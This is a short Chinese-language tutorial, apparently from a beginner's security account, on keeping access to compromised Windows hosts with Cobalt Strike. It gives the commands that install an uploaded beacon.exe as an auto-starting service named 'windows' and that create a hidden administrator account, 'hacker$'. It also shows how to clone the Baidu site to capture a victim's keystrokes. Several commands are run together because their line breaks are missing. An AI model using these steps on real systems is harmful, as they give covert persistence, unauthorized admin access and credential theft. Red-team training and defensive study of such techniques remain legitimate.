Cobalt Strike系列六Cobalt Strike权限维持

一、开机自启动

(1):生成一个后门木马

Attacks-->Packages-->Windows Executable

(2):选择监听

(3):在目标主机的beacon中执行如下命令

cd C:WINDOWSTempupload /root/beacon.exeshell sc create "windows" binpath= "C:WINDOWSTempbeacon.exe"shell sc description "windows" "description"shell sc config "windows" start= autoshell net start "windows"

这样就会开机自启动该进程，这样就会运行beacon.exe这个文件。

二、创建隐藏用户

net user hacker$ 1qaz@WSX /addnet localgroup administrators hacker$ /add

net user

控制面板-->管理工具-->计算机管理-->本地用户和组-->用户

三、网站克隆

(1):Attacks-->Web Drive-by-->Clone Site

(2):克隆百度页面

(3):克隆成功

(1):模拟受害者进行搜索

(2):查看是否进行了记录

View-->WebLog

发现对输入的键盘已经进行了记录。

原文始发于微信公众号（想走安全的小白）：Cobalt Strike系列六----Cobalt Strike权限维持